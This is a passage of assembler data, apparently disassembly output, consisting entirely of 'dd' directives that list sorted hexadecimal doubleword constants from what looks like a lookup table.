		dd 24905CBh, 890032CBh,	180032CBh, 19037CBh, 0FE4637CBh
		dd 376337CBh, 636337CBh, 7BA38CBh, 78E938CBh, 41839CBh
		dd 177E3ACBh, 2183BCBh,	2013CCBh, 9013CCBh, 0B7F3DCBh
		dd 2863DCBh, 28E3DCBh, 48E3DCBh, 6F9B3DCBh, 14B43ECBh
		dd 3A43FCBh, 3FB3FCBh, 14D3FCBh, 17740CBh, 88A40CBh, 11A40CBh
		dd 31A40CBh, 0B10340CBh, 0FD3040CBh, 1F642CBh, 23D945CBh
		dd 825D45CBh, 1C607CBh,	0FA6447CBh, 16647CBh, 0FB7647CBh
		dd 18D47CBh, 18E47CBh, 18F47CBh, 19047CBh, 649147CBh, 0FD9647CBh
		dd 19E47CBh, 11047CBh, 0FDB647CBh, 1BA47CBh, 1C647CBh
		dd 1CC47CBh, 1CE47CBh, 1D047CBh, 6D347CBh, 1D447CBh, 1D547CBh
		dd 1DD47CBh, 0FEE147CBh, 2E847CBh, 1EF47CBh, 1F747CBh
		dd 1FA47CBh, 10347CBh, 13447CBh, 53F47CBh, 14847CBh, 0A4A47CBh
		dd 0C4A47CBh, 14E47CBh,	16047CBh, 36247CBh, 69948CBh, 0FDB048CBh
		dd 21A24ACBh, 11E44ACBh, 1EE04FCBh, 1C054CBh, 135257CBh
		dd 8DE159CBh, 19609CBh,	11BE09CBh, 0FAEE5BCBh, 87405BCBh
		dd 12161CBh, 12561CBh, 46A01CCh, 56A01CCh, 0A0201CCh, 0B1C01CCh
		dd 3B1C01CCh, 74064CCh,	26B65CCh, 18D65CCh, 189965CCh
		dd 39A65CCh, 199D65CCh,	2A065CCh, 1AC65CCh, 0AB365CCh
		dd 3B365CCh, 2BC65CCh, 3BC65CCh, 4BC65CCh, 4BE65CCh, 5BE65CCh
		dd 0AD765CCh, 0FED965CCh, 2E065CCh, 2CE465CCh, 1FB65CCh
		dd 2FB65CCh, 1C3665CCh,	24C65CCh, 4F4F65CCh, 25665CCh
		dd 15F65CCh, 413D66CCh,	14136BCCh, 23016FCCh, 24016FCCh
		dd 0A0171CCh, 23974CCh,	0BB075CCh, 0AD675CCh, 0E0676CCh
		dd 20676CCh, 43F76CCh, 53F76CCh, 19F077CCh, 8F077CCh, 27078CCh
		dd 0D77A78CCh, 10379CCh, 10679CCh, 12027BCCh, 2A027BCCh
		dd 8C07CCCh, 23C17CCCh,	1817FCCh, 2817FCCh, 1DC17FCCh
		dd 0AC080CCh, 7D7881CCh, 0A8081CCh, 0FE8181CCh,	0FDA683CCh
		dd 11183CCh, 1AAB83CCh,	11983CCh, 0C82E83CCh, 13283CCh
		dd 0F85283CCh, 0FCF385CCh, 0D8786CCh, 0A8886CCh, 5D686CCh
		dd 0E0E89CCh, 19738ACCh, 3CEF8ACCh, 4AA8CCCh, 6AA8CCCh
		dd 0E4B98CCCh, 8BC8CCCh, 9BD8CCCh, 3DC8CCCh, 3E78CCCh
		dd 4E78CCCh, 2678DCCh, 3678DCCh, 0AD88DCCh, 0CD88DCCh
		dd 0A3C8DCCh, 0B3C8DCCh, 0D2AC92CCh, 23AD92CCh,	0C3B092CCh
		dd 468093CCh, 4E8093CCh, 15093CCh, 55093CCh, 65093CCh
		dd 0A5195CCh, 55595CCh,	15F997CCh, 53D97CCh, 24897CCh
		dd 84897CCh, 116197CCh,	18F98CCh, 9BA698CCh, 40B898CCh
		dd 11899CCh, 24099CCh, 0AB4799CCh, 0AC4799CCh, 175199CCh
		dd 185199CCh, 0D039DCCh, 476C9FCCh, 476E9FCCh, 4368A1CCh
		dd 146BA1CCh, 0A04A1CCh, 0A34A1CCh, 1034A1CCh, 427CA2CCh
		dd 68A7A3CCh, 56C8A5CCh, 0A0D6A5CCh, 2D6A5CCh, 126FA6CCh
		dd 3BEA6CCh, 1EC3A6CCh,	7338A6CCh, 0B338A6CCh, 0F23DA6CCh
		dd 0F53DA6CCh, 91CA8CCh, 0DD911CCh, 5144AACCh, 2A8ABCCh
		dd 0F9A8ABCCh, 2BAABCCh, 41FABCCh, 230ABCCh, 630ABCCh
		dd 2267AECCh, 410AECCh,	212AECCh, 14DEAECCh, 15DEAECCh
		dd 1723AECCh, 140AECCh,	141AECCh, 1514B0CCh, 1A14B0CCh
		dd 220B1CCh, 320B1CCh, 3110B2CCh, 610B2CCh, 0BE5B4CCh
		dd 0CE5B4CCh, 298B5CCh,	3398B5CCh, 2B0B5CCh, 6B0B5CCh
		dd 2C0B5CCh, 4C0B5CCh, 0AC8B5CCh, 2C8B5CCh, 0A26B5CCh
		dd 0F26B5CCh, 0C900BACCh, 0CA00BACCh, 13BBBCCh,	23BBBCCh
		dd 0A58BBCCh, 0A54BDCCh, 854BDCCh, 255EBDCCh, 465EBDCCh
		dd 18A13CCh, 0CE0AC2CCh, 368C2CCh, 468C2CCh, 0E24C2CCh
		dd 2DCC9CCh, 0C885D0CCh, 0DC85D0CCh, 0E6B9D3CCh, 5DED3CCh
		dd 1ABD4CCh, 2ABD4CCh, 224D4CCh, 524D4CCh, 1B0D5CCh, 2B0D5CCh
		dd 14FAD5CCh, 15FAD5CCh, 905D6CCh, 23CD7CCh, 53CD7CCh
		dd 5D2DACCh, 18CDCCCh, 0B8CDCCCh, 172DDCCh, 0FF0DDCCh
		dd 32DDDCCh, 83F7E1CCh,	1B6E3CCh, 1578EECCh, 578EECCh
		dd 1A7EFCCh, 0BA7EFCCh,	1BEF1CCh, 2DAF1CCh, 294F2CCh, 8103F4CCh
		dd 4263F4CCh, 1401F6CCh, 14F7F7CCh, 0A3CF8CCh, 93CF8CCh
		dd 0AEEF9CCh, 0BEEF9CCh, 28AFBCCh, 68AFBCCh, 0CC8FBCCh
		dd 28CCFBCCh, 2CEFBCCh,	2EFFBCCh, 3EFFBCCh, 25DFBCCh, 0A53FDCCh
		dd 6453FDCCh, 176FECCh,	0FBAFFECCh, 5A571ACCh, 0FA8C1DCCh
		dd 0FB8C1DCCh, 1B91DCCh, 8B91DCCh, 1011FCCh, 2CB1FCCh
		dd 21620CCh, 0D44221CCh, 51D322CCh, 4E722CCh, 0CB1024CCh
		dd 1F932CCh, 1FA32CCh, 10133CCh, 24239CCh, 24339CCh, 144339CCh
		dd 0DE013BCCh, 0DE903BCCh, 0DE403BCCh, 2003CCCh, 3003CCCh
		dd 65CD3DCCh, 78CD3DCCh, 0A203ECCh, 0C8B540CCh,	20343CCh
		dd 20B444CCh, 1E344CCh,	1EA45CCh, 18046CCh, 45B046CCh
		dd 0EA1946CCh, 0EA3146CCh, 0F23946CCh, 0F86447CCh, 36447CCh
		dd 36A47CCh, 197447CCh,	227647CCh, 0B7747CCh, 27F47CCh
		dd 59A47CCh, 29C47CCh, 49C47CCh, 39D47CCh, 0A1347CCh, 141347CCh
		dd 21C847CCh, 2D147CCh,	2D447CCh, 22D47CCh, 24447CCh, 34447CCh
		dd 8A4B47CCh, 125847CCh, 15C47CCh, 0A8048CCh, 0B8048CCh
		dd 33749CCh, 14A49CCh, 1654ACCh, 12814DCCh, 0A204ECCh
		dd 0B0051CCh, 81453CCh,	91453CCh, 78058CCh, 16F5ACCh, 26F5ACCh
		dd 6145ACCh, 60B5BCCh, 2745BCCh, 50E5BCCh, 60E5BCCh, 49B5BCCh
		dd 2135BCCh, 42E85BCCh,	64F05BCCh, 65F05BCCh, 3485BCCh
		dd 0B555BCCh, 9555BCCh,	8C635BCCh, 13D65ECCh, 23D65ECCh
		dd 1ED35FCCh, 21061CCh,	0AD461CCh, 2E361CCh, 3E361CCh
		dd 6E361CCh, 25C61CCh, 35C61CCh, 2FC7CCDh, 2FE7CCDh, 21083CDh
		dd 3B183CDh, 3BC83CDh, 6BC83CDh, 119585CDh, 22688CDh, 53089CDh
		dd 73089CDh, 0C86E8ACDh, 0C96E8ACDh, 0CA6E8ACDh, 0C1768ACDh
		dd 2DB8ACDh, 42E68ACDh,	81D8BCDh, 1048BCDh, 0F048BCDh
		dd 1938CCDh, 32818DCDh,	86092CDh, 96092CDh, 222A96CDh
		dd 232A96CDh, 21097CDh,	31097CDh, 97CD97CDh, 82DE97CDh
		dd 83DE97CDh, 0FADE97CDh, 0FBDE97CDh, 140098CDh, 50098CDh
		dd 3A0098CDh, 80098CDh,	0BC9098CDh, 0FC9098CDh,	141098CDh
		dd 81098CDh, 0BCF498CDh, 0FCF498CDh, 142098CDh,	82098CDh
		dd 5109ECDh, 82309ECDh,	83A99FCDh, 7A99FCDh, 11AE9FCDh
		dd 2BCA0CDh, 2BFA0CDh, 1EAA0CDh, 0AEAA0CDh, 2F8A0CDh, 257A0CDh
		dd 6272A1CDh, 274A1CDh,	478A1CDh, 578A1CDh, 2AEA1CDh, 0E2B8A1CDh
		dd 2BCA1CDh, 2C8A1CDh, 3C8A1CDh, 2D8A1CDh, 4D8A1CDh, 2B8A2CDh
		dd 4BEA2CDh, 26E2A6CDh,	823DA6CDh, 8C3DA6CDh, 35CA7CDh
		dd 75CA7CDh, 0C30EABCDh, 0FA10ABCDh, 907ABCDh, 1448ABCDh
		dd 1548ABCDh, 0F109ABCDh, 0F209ABCDh, 0AB0ADCDh, 2E6ADCDh
		dd 20F8ADCDh, 23AADCDh,	3DCAFCDh, 1E1AFCDh, 6484B0CDh
		dd 0A0AB1CDh, 4676B1CDh, 226B1CDh, 270B2CDh, 370B2CDh
		dd 0A65B5CDh, 0B65B5CDh, 0A6C7B5CDh, 0AF2B5CDh,	7E05B5CDh
		dd 8105B5CDh, 0A48B5CDh, 134CB5CDh, 0FD4EB5CDh,	0A6BB6CDh
		dd 7D1FB7CDh, 0E89DBCCDh, 0E99DBCCDh, 0EC9DBCCDh, 3F0BDCDh
		dd 0AC2BFCDh, 9C2BFCDh,	2C1C7CDh, 1DCC7CDh, 4110C8CDh
		dd 4510C8CDh, 1401C9CDh, 0AE4CBCDh, 0AE5CBCDh, 0E541CBCDh
		dd 0E641CBCDh, 0F096CFCDh, 95ACFCDh, 82E8D2CDh,	128D3CDh
		dd 646CD5CDh, 64A3D5CDh, 422AD6CDh, 0A2DD6CDh, 62DD6CDh
		dd 1033D6CDh, 4205D7CDh, 536D8CDh, 150D8CDh, 250D8CDh
		dd 152D8CDh, 163D9CDh, 263D9CDh, 327BDACDh, 1BADBCDh, 22C6DBCDh
		dd 554DBCDh, 754DBCDh, 0FE80DDCDh, 0E792DDCDh, 0A0FDDCDh
		dd 996DDCDh, 19EDDCDh, 1A5DDCDh, 1DEDDCDh, 1E2DDCDh, 0BA1EDDCDh
		dd 0BB1EDDCDh, 128DDCDh, 4638DDCDh, 14ADDCDh, 0D15ADDCDh
		dd 15CDDCDh, 0F60DDCDh,	4105DECDh, 4305DECDh, 0D182E1CDh
		dd 42BAE3CDh, 342BE3CDh, 470CE4CDh, 480CE4CDh, 0A8CE6CDh
		dd 0C8CE6CDh, 46BE7CDh,	64A0E7CDh, 65A0E7CDh, 1ECE7CDh
		dd 276DE9CDh, 286DE9CDh, 1EB6ECCDh, 1BEECCDh, 2780EECDh
		dd 2A80EECDh, 0EABBF2CDh, 0EBBBF2CDh, 0AF6F2CDh, 25AF2CDh
		dd 65DCF3CDh, 19AF4CDh,	39AF4CDh, 0ABCF4CDh, 3C8F4CDh
		dd 212F6CDh, 1E12F6CDh,	0C13F6CDh, 2513F6CDh, 178F7CDh
		dd 6405FACDh, 0FB05FACDh, 0DC82FCCDh, 0E490FCCDh, 65A44CDh
		dd 415F44CDh, 56401CEh,	0CA601CEh, 41B01CEh, 2360ACEh
		dd 20A64CEh, 22464CEh, 15C64CEh, 426865CEh, 27165CEh, 67165CEh
		dd 17665CEh, 4A7965CEh,	2A965CEh, 1CC65CEh, 5CE65CEh, 5ACE65CEh
		dd 3E865CEh, 4E865CEh, 32F265CEh, 3CF265CEh, 212965CEh
		dd 24E65CEh, 0E65A65CEh, 0EF5A65CEh, 0E7F66CEh,	107F66CEh
		dd 28066CEh, 38066CEh, 0C8266CEh, 0D8266CEh, 19C66CEh
		dd 67067CEh, 77067CEh, 23C969CEh, 14CB69CEh, 1FCB69CEh
		dd 2B26BCEh, 1016DCEh, 41076DCEh, 5E950BCEh, 2AA00BCEh
		dd 5A00BCEh, 1280BCEh, 22016ECEh, 25016ECEh, 0B126FCEh
		dd 3156FCEh, 4156FCEh, 12F86FCEh, 13F86FCEh, 5046FCEh
		dd 10170CEh, 20170CEh, 68C070CEh, 0CA4B70CEh, 227875CEh
		dd 14B275CEh, 15B275CEh, 25575CEh, 0A0880CCEh, 99AF0CCEh
		dd 21F0CCEh, 0A4079CEh,	24079CEh, 64267BCEh, 42267BCEh
		dd 0A067BCEh, 0B067BCEh, 21007CCEh, 2E07CCEh, 2E27CCEh
		dd 1407CCEh, 0AA87ECEh,	65207ECEh, 0C8207ECEh, 21207FCEh
		dd 22207FCEh, 82407FCEh, 83407FCEh, 0D2C080CEh,	0D4C080CEh
		dd 0D6C080CEh, 0B1C0DCEh, 0B1D0DCEh, 22C0DCEh, 0AD183CEh
		dd 9E583CEh, 9E683CEh, 6ED83CEh, 9ED83CEh, 825E84CEh, 2D9786CEh
		dd 25698ACEh, 26698ACEh, 32698ACEh, 33698ACEh, 96E08ACEh
		dd 33CA8BCEh, 2FB8DCEh,	13091CEh, 323091CEh, 2A296CEh
		dd 6C396CEh, 437097CEh,	0C88697CEh, 0A9897CEh, 99897CEh
		dd 19A97CEh, 0B1097CEh,	21097CEh, 0BAC97CEh, 5E397CEh
		dd 0FDFA97CEh, 2FE97CEh, 142697CEh, 10497CEh, 74497CEh
		dd 16E98CEh, 17098CEh, 1B698CEh, 2B698CEh, 2F198CEh, 1F298CEh
		dd 2FC98CEh, 0FD4699CEh, 50899CEh, 80899CEh, 20E19CCEh
		dd 1E69CCEh, 2E69CCEh, 8049CCEh, 0C8939DCEh, 0CC939DCEh
		dd 0E7C9ECEh, 27C9ECEh,	20F9ECEh, 8980A1CEh, 4284A1CEh
		dd 158BA1CEh, 35EFA1CEh, 23BA1CEh, 93EA1CEh, 23FA1CEh
		dd 332A3CEh, 2A6A5CEh, 4A6A5CEh, 0A06A5CEh, 6464A6CEh
		dd 6469A6CEh, 0C811A6CEh, 2C5A6CEh, 1F9A6CEh, 8F9A6CEh
		dd 1653A6CEh, 2B2AACEh,	5B2AACEh, 423EAACEh, 268ABCEh
		dd 26AABCEh, 1E7CABCEh,	0AA0ABCEh, 3ABABCEh, 2B0ABCEh
		dd 2BEABCEh, 3BEABCEh, 502ABCEh, 14DDABCEh, 15DDABCEh
		dd 0BBE8ABCEh, 236ABCEh, 0A43ABCEh, 9850ABCEh, 0A53ABCEh
		dd 4877ADCEh, 4E8AADCEh, 7688AFCEh, 2294B0CEh, 6A2B4CEh
		dd 9A2B4CEh, 82C0B4CEh,	1CFB4CEh, 5CFB4CEh, 0D8E0B4CEh
		dd 3D0B5CEh, 4216B5CEh,	1221B5CEh, 260B5CEh, 8562B5CEh
		dd 8662B5CEh, 7E0B7CEh,	8E0B7CEh, 0AE2B7CEh, 27ABACEh
		dd 196BACEh, 8C00BFCEh,	0D200BFCEh, 2A00BFCEh, 1C1BFCEh
		dd 2C1BFCEh, 0E152BFCEh, 0E252BFCEh, 0E153BFCEh, 0D0AC2CEh
		dd 0E0AC2CEh, 180C4CEh,	0B51C5CEh, 0F113C9CEh, 9D2CCCEh
		dd 3EBCCCEh, 604CCCEh, 84F2CDCEh, 0C3AD0CEh, 0D3AD0CEh
		dd 26E15CEh, 50D15CEh, 900E15CEh, 14AE15CEh, 15AE15CEh
		dd 0FAC015CEh, 14D215CEh, 0C6E415CEh, 25E15CEh,	327BD3CEh
		dd 327ED3CEh, 28FD8CEh,	180DDCEh, 42F0DDCEh, 201DECEh
		dd 301DECEh, 3261DECEh,	5261DECEh, 5E61DECEh, 0AB3E4CEh
		dd 0AD0E4CEh, 2D4E4CEh,	0AE0E5CEh, 0A90E7CEh, 1490E7CEh
		dd 0B92E7CEh, 0C92E7CEh, 42B2E7CEh, 22B6E7CEh, 0C813E7CEh
		dd 9FAE7CEh, 141E7CEh, 241E7CEh, 208E7CEh, 308E7CEh, 0A2A418CEh
		dd 92C0F1CEh, 0ABC0F1CEh, 5B7F4CEh, 7C2F6CEh, 0A6EF8CEh
		dd 34B719CEh, 1CE19CEh,	2E219CEh, 1A2FBCEh, 1C0FBCEh, 3C0FBCEh
		dd 1408FBCEh, 1808FBCEh, 0B80FCCEh, 580FCCEh, 5C0FCCEh
		dd 6C0FCCEh, 41C2FDCEh,	61C2FDCEh, 1E1FDCEh, 0FBE1FDCEh
		dd 3CEDFDCEh, 15EFDCEh,	15FFDCEh, 0A5FFDCEh, 0FE21ACEh
		dd 22241ACEh, 429D1CCEh, 1B741DCEh, 1B21DCEh, 24D1DCEh
		dd 0A621DCEh, 3C621DCEh, 2A31ECEh, 2DC1ECEh, 0C611ECEh
		dd 0F611ECEh, 0E0A1FCEh, 0F0A1FCEh, 196F1FCEh, 1C801FCEh
		dd 0FA841FCEh, 0A8B1FCEh, 0B8B1FCEh, 29A1FCEh, 1BE1FCEh
		dd 15BE1FCEh, 2C01FCEh,	3C01FCEh, 2C11FCEh, 1021FCEh, 2021FCEh
		dd 1CC1FCEh, 0BCC1FCEh,	2D81FCEh, 1161FCEh, 0AE61FCEh
		dd 0AEC1FCEh, 1FE1FCEh,	31A1FCEh, 11C1FCEh, 13201FCEh
		dd 6201FCEh, 0EF2B1FCEh, 12F1FCEh, 2321FCEh, 1381FCEh
		dd 0A631FCEh, 2B222CEh,	0FB522CEh, 10B522CEh, 44CE25CEh
		dd 45CE25CEh, 32326CEh,	228029CEh, 268029CEh, 64B029CEh
		dd 0DFE2ECEh, 2742FCEh,	30F2FCEh, 0B0962FCEh, 0E1962FCEh
		dd 21EF2FCEh, 0EA5E31CEh, 0FA3832CEh, 11633CEh,	11B33CEh
		dd 30434CEh, 1E036CEh, 2003DCEh, 4003DCEh, 0A6C3DCEh, 0B8C3DCEh
		dd 0B9B3DCEh, 6E9E3DCEh, 5B23DCEh, 0CDF3DCEh, 3233DCEh
		dd 2E0A42CEh, 5E0A42CEh, 1E0C42CEh, 240C42CEh, 0FEF042CEh
		dd 0C81F07CEh, 0E6FB46CEh, 0BA147CEh, 2A147CEh,	24D47CEh
		dd 228048CEh, 628048CEh, 2FE4ACEh, 0C8D84BCEh, 0D2D84BCEh
		dd 2924ECEh, 2404ECEh, 27AB4FCEh, 0AE64FCEh, 32074FCEh
		dd 0F5A750CEh, 5A053CEh, 7A053CEh, 0C6053CEh, 18D57CEh
		dd 21057CEh, 220058CEh,	420058CEh, 647009CEh, 657009CEh
		dd 644009CEh, 684009CEh, 0B5009CEh, 25409CEh, 26C60CEh
		dd 1E260CEh, 6E260CEh, 103E60CEh, 0A7262CEh, 147262CEh
		dd 28A62CEh, 38A62CEh, 2A762CEh, 24CA62CEh, 47CA62CEh
		dd 49CA62CEh, 19163CEh,	1AB63CEh, 0AAB63CEh, 214263CEh
		dd 0B78100CFh, 0BE8100CFh, 0FCE500CFh, 197A01CFh, 228601CFh
		dd 0A3A001CFh, 45C701CFh, 23C01CFh, 154901CFh, 2E800ACFh
		dd 2F800ACFh, 7C5065CFh, 625065CFh, 18166CFh, 828166CFh
		dd 28166CFh, 20067CFh, 90B67CFh, 43CE67CFh, 0A9768CFh
		dd 2BD69CFh, 2016ACFh, 3A556DCFh, 3B556DCFh, 3C700BCFh
		dd 2B070BCFh, 34070BCFh, 80006ECFh, 3C006ECFh, 3A06FCFh
		dd 4A06FCFh, 17E86FCFh,	52F870CFh, 98671CFh, 30DD73CFh
		dd 6D0279CFh, 2D979CFh,	8AF179CFh, 23479CFh, 43479CFh
		dd 325A79CFh, 4B497ACFh, 92697ECFh, 0A2607ECFh,	8657FCFh
		dd 285F82CFh, 57484CFh,	3C7484CFh, 0F59485CFh, 0F59685CFh
		dd 0F5F885CFh, 0F54285CFh, 24748ACFh, 14948CCFh, 0A088CCFh
		dd 3088CCFh, 0C9018DCFh, 6688DCFh, 0B6B8DCFh, 86E8DCFh
		dd 2968DCFh, 3968DCFh, 0A998DCFh, 1E998DCFh, 0AB18DCFh
		dd 14148DCFh, 2C98DCFh,	2178DCFh, 1188DCFh, 2188DCFh, 22FA8DCFh
		dd 2FD8DCFh, 65048DCFh,	0FC058DCFh, 2378DCFh, 0B388DCFh
		dd 0C388DCFh, 3E3E8DCFh, 11D00FCFh, 12D00FCFh, 4C096CFh
		dd 0FACA96CFh, 29897CFh, 12ED97CFh, 964F97CFh, 7ECE99CFh
		dd 48B79BCFh, 49B79BCFh, 48B89BCFh, 3029BCFh, 28C09ECFh
		dd 0A809FCFh, 2809FCFh,	7BAB9FCFh, 59AB9FCFh, 17B49FCFh
		dd 665E9FCFh, 307A4CFh,	907A4CFh, 0F050A4CFh, 2160A5CFh
		dd 2760A5CFh, 335A6CFh,	5036A6CFh, 25DA8CFh, 35DA8CFh
		dd 813E11CFh, 0A2D2AACFh, 0A00ABCFh, 900ABCFh, 280ABCFh
		dd 580ABCFh, 84B2ABCFh,	4747ABCFh, 1403ACCFh, 1503ACCFh
		dd 1603ACCFh, 3E0ADCFh,	3E1ADCFh, 256ADCFh, 0A22AFCFh
		dd 2C24AFCFh, 0B28AFCFh, 0BBEB3CFh, 0CBEB3CFh, 4BC12CFh
		dd 2D812CFh, 465B5CFh, 565B5CFh, 2C1B5CFh, 259B5CFh, 359B5CFh
		dd 226B6CFh, 0FEF9B7CFh, 3F9B7CFh, 221B7CFh, 1480BDCFh
		dd 1AABDCFh, 3AABDCFh, 0A01BFCFh, 82C0BFCFh, 84C0BFCFh
		dd 0A32BFCFh, 279C1CFh,	1C3C1CFh, 3A1C2CFh, 4A1C2CFh, 0AC6C2CFh
		dd 0DCC6C2CFh, 1C8C2CFh, 81C8C2CFh, 0E61CC2CFh,	106C2CFh
		dd 206C2CFh, 7DEC6CFh, 24FDC6CFh, 2A902CFh, 3A902CFh, 4DD02CFh
		dd 5DD02CFh, 0C87F14CFh, 5049C8CFh, 240CACFh, 0DEF7CDCFh
		dd 0A01D3CFh, 2A0D3CFh,	2F3D3CFh, 403CD3CFh, 413CD3CFh
		dd 7120D5CFh, 0B3CD5CFh, 157ED6CFh, 0D78D9CFh, 0B7ED9CFh
		dd 0C4DD9CFh, 262DACFh,	14E1E4CFh, 0C1ECE4CFh, 2A23E4CFh
		dd 0C325E4CFh, 8140E4CFh, 2B40E4CFh, 2F4E6CFh, 231E6CFh
		dd 331E6CFh, 224BE6CFh,	324BE6CFh, 1B86E7CFh, 0B80E9CFh
		dd 0BA8E9CFh, 210EBCFh,	5D9ECCFh, 2230EECFh, 0B2F518CFh
		dd 0B3F518CFh, 3C05F0CFh, 3A0F1CFh, 22A0F1CFh, 0FF0F1CFh
		dd 14F0F1CFh, 268F3CFh,	26BF3CFh, 74CF6CFh, 84CF6CFh, 47E0F8CFh
		dd 48E0F8CFh, 9B4419CFh, 190FBCFh, 290FBCFh, 0BC9FBCFh
		dd 0CC9FBCFh, 1679FCCFh, 1779FCCFh, 0B14FCCFh, 360FCCFh
		dd 0D1EF1CCFh, 1CC21DCFh, 1EC21DCFh, 24F03CFh, 18020CFh
		dd 0A5920CFh, 2B322CFh,	3B322CFh, 3F7826CFh, 92D26CFh
		dd 27829CFh, 28029CFh, 3E0E29CFh, 441229CFh, 2C529CFh
		dd 7C529CFh, 20229CFh, 0A1829CFh, 10F129CFh, 4C2829CFh
		dd 142929CFh, 0F82929CFh, 14029CFh, 24029CFh, 0A4C29CFh
		dd 0C4C29CFh, 0A5629CFh, 0B5629CFh, 1002CCFh, 0B8A2ECFh
		dd 0C8A2ECFh, 56833CFh,	0A8033CFh, 0B8033CFh, 18133CFh
		dd 28233CFh, 28633CFh, 158833CFh, 178833CFh, 20E33CFh
		dd 30E33CFh, 4C733CFh, 31C933CFh, 84E433CFh, 5E433CFh
		dd 1E533CFh, 16EC33CFh,	42F233CFh, 43F233CFh, 2F833CFh
		dd 24733CFh, 664833CFh,	684833CFh, 34F33CFh, 44F33CFh
		dd 35033CFh, 0A5433CFh,	0CD5433CFh, 35633CFh, 15833CFh
		dd 29F36CFh, 49F36CFh, 1013BCFh, 0A6A3DCFh, 0B6A3DCFh
		dd 26D3DCFh, 0A933DCFh,	14933DCFh, 42953DCFh, 0FE963DCFh
		dd 5A63DCFh, 0FEA93DCFh, 0BC63DCFh, 0F0D13DCFh,	2F43DCFh
		dd 3F43DCFh, 96323DCFh,	23B3DCFh, 23C3DCFh, 24A3DCFh, 22E41CFh
		dd 0AA343CFh, 0B3843CFh, 0C3843CFh, 0C0BC45CFh,	0C1BC45CFh
		dd 0BAC245CFh, 0D2C845CFh, 0D3C845CFh, 52007CFh, 0E32807CFh
		dd 34007CFh, 792C47CFh,	0A5C4ACFh, 18A44CCFh, 38C4DCFh
		dd 0A5A4DCFh, 0B5A4DCFh, 666B4ECFh, 96A94ECFh, 2BA08CFh
		dd 5C008CFh, 3EC008CFh,	0BAC508CFh, 96C652CFh, 0E7F56CFh
		dd 9F9156CFh, 0A09156CFh, 53C58CFh, 0D8059CFh, 0A0F59CFh
		dd 140F59CFh, 14055BCFh, 0FC055BCFh, 3B055BCFh,	218062CFh
		dd 0B8162CFh, 868162CFh, 0C88162CFh, 4D8162CFh,	24162CFh
		dd 10063CFh, 20063CFh, 29100D0h, 83800D0h, 93800D0h, 0B7001D0h
		dd 27001D0h, 47201D0h, 0A8301D0h, 0D8301D0h, 28801D0h
		dd 0FB8B01D0h, 230E01D0h, 28AF01D0h, 2D801D0h, 31701D0h
		dd 2E601D0h, 2E701D0h, 2FA01D0h, 2FE01D0h, 10601D0h, 0F3C01D0h
		dd 103C01D0h, 425601D0h, 825701D0h, 0F5B01D0h, 0A800AD0h
		dd 0A910AD0h, 1BE0AD0h,	0A360AD0h, 2720BD0h, 478E0BD0h
		dd 488E0BD0h, 0C8900BD0h, 81DE0BD0h, 0AE80BD0h,	0CF40BD0h
		dd 0B480BD0h, 0C480BD0h, 1570BD0h, 0E9640CD0h, 0EA640CD0h
		dd 0A6F80D0h, 0B6F80D0h, 11081D0h, 0F51081D0h, 0AFF81D0h
		dd 9FF81D0h, 0A5082D0h,	20982D0h, 26B83D0h, 0BE983D0h
		dd 0CE983D0h, 21983D0h,	22883D0h, 102A83D0h, 112A83D0h
		dd 0FE3083D0h, 73283D0h, 80683D0h, 90683D0h, 0A4483D0h
		dd 34883D0h, 0C24A83D0h, 34A83D0h, 436985D0h, 25085D0h
		dd 6B986D0h, 8B986D0h, 7DF86D0h, 0AF586D0h, 2F586D0h, 18187D0h
		dd 1A687D0h, 0B00089D0h, 0B10089D0h, 68089D0h, 88089D0h
		dd 70289D0h, 27D8AD0h, 37D8AD0h, 10828AD0h, 0B998AD0h
		dd 0F04E8AD0h, 0F14E8AD0h, 0EBF0ED0h, 0FBF0ED0h, 72D60ED0h
		dd 5D90ED0h, 9F98CD0h, 1638CD0h, 41688DD0h, 41858DD0h
		dd 1A08DD0h, 45A38DD0h,	0ACC8DD0h, 3D48DD0h, 1EA8DD0h
		dd 0C82E8DD0h, 2358DD0h, 3358DD0h, 0A428DD0h, 24F8DD0h
		dd 0A088DD0h, 0AF38ED0h, 11F48ED0h, 2F48ED0h, 1408ED0h
		dd 28DE8FD0h, 29DE8FD0h, 0A318FD0h, 0B318FD0h, 1EFC90D0h
		dd 1FFC90D0h, 43AF91D0h, 48AF91D0h, 38492D0h, 48492D0h
		dd 6E2D92D0h, 29093D0h,	29B93D0h, 1D593D0h, 64D593D0h
		dd 818C94D0h, 82BD94D0h, 5F995D0h, 6F995D0h, 16D0FD0h
		dd 66D0FD0h, 23C96D0h, 3C297D0h, 0AC497D0h, 2EC97D0h, 463097D0h
		dd 503097D0h, 414597D0h, 0FEC899D0h, 1EC899D0h,	54E99D0h
		dd 3B39AD0h, 24C9AD0h, 1089DD0h, 5039FD0h, 5AE10D0h, 42D1A0D0h
		dd 56D1A0D0h, 225EA0D0h, 2A5EA0D0h, 174A1D0h, 274A1D0h
		dd 8378A1D0h, 390A1D0h,	29CA1D0h, 29FA1D0h, 3C9A1D0h, 4C9A1D0h
		dd 0DCCCA1D0h, 0DDCCA1D0h, 1E1A1D0h, 0AF0A1D0h,	1120A1D0h
		dd 0B2CA1D0h, 33AA1D0h,	43AA1D0h, 645A1D0h, 1446A1D0h
		dd 24FA1D0h, 1454A1D0h,	3255A1D0h, 7D77A2D0h, 7DFA2D0h
		dd 940A3D0h, 0BC2A5D0h,	145A5D0h, 24FA5D0h, 0B24A9D0h
		dd 20DABD0h, 0A89ABD0h,	1489ABD0h, 1CBABD0h, 2D8ABD0h
		dd 5E9ABD0h, 1F00ACD0h,	0F550B0D0h, 0F650B0D0h,	78EB2D0h
		dd 13012D0h, 23012D0h, 45E12D0h, 0F964B5D0h, 0FD64B5D0h
		dd 0FD75B5D0h, 383B5D0h, 483B5D0h, 683B5D0h, 229CB5D0h
		dd 239CB5D0h, 2AAB5D0h,	0E1AEB5D0h, 2BFB5D0h, 2D8B5D0h
		dd 12FB5D0h, 0C2FB5D0h,	0C3BB5D0h, 0D3BB5D0h, 13DB5D0h
		dd 23DB5D0h, 147B5D0h, 27AB6D0h, 0A701B8D0h, 1BEB8D0h
		dd 0FE72B9D0h, 268BDD0h, 2D1BDD0h, 3D1BDD0h, 0FC6B13D0h
		dd 0FD6B13D0h, 108513D0h, 118513D0h, 16EBFD0h, 1419BFD0h
		dd 120BFD0h, 323BFD0h, 2424BFD0h, 32FBFD0h, 0A57BFD0h
		dd 0B57BFD0h, 20EC1D0h,	2B1C2D0h, 2C7C3D0h, 0A74C5D0h
		dd 27002D0h, 27E02D0h, 0B4D02D0h, 22314D0h, 32314D0h, 0BE0C9D0h
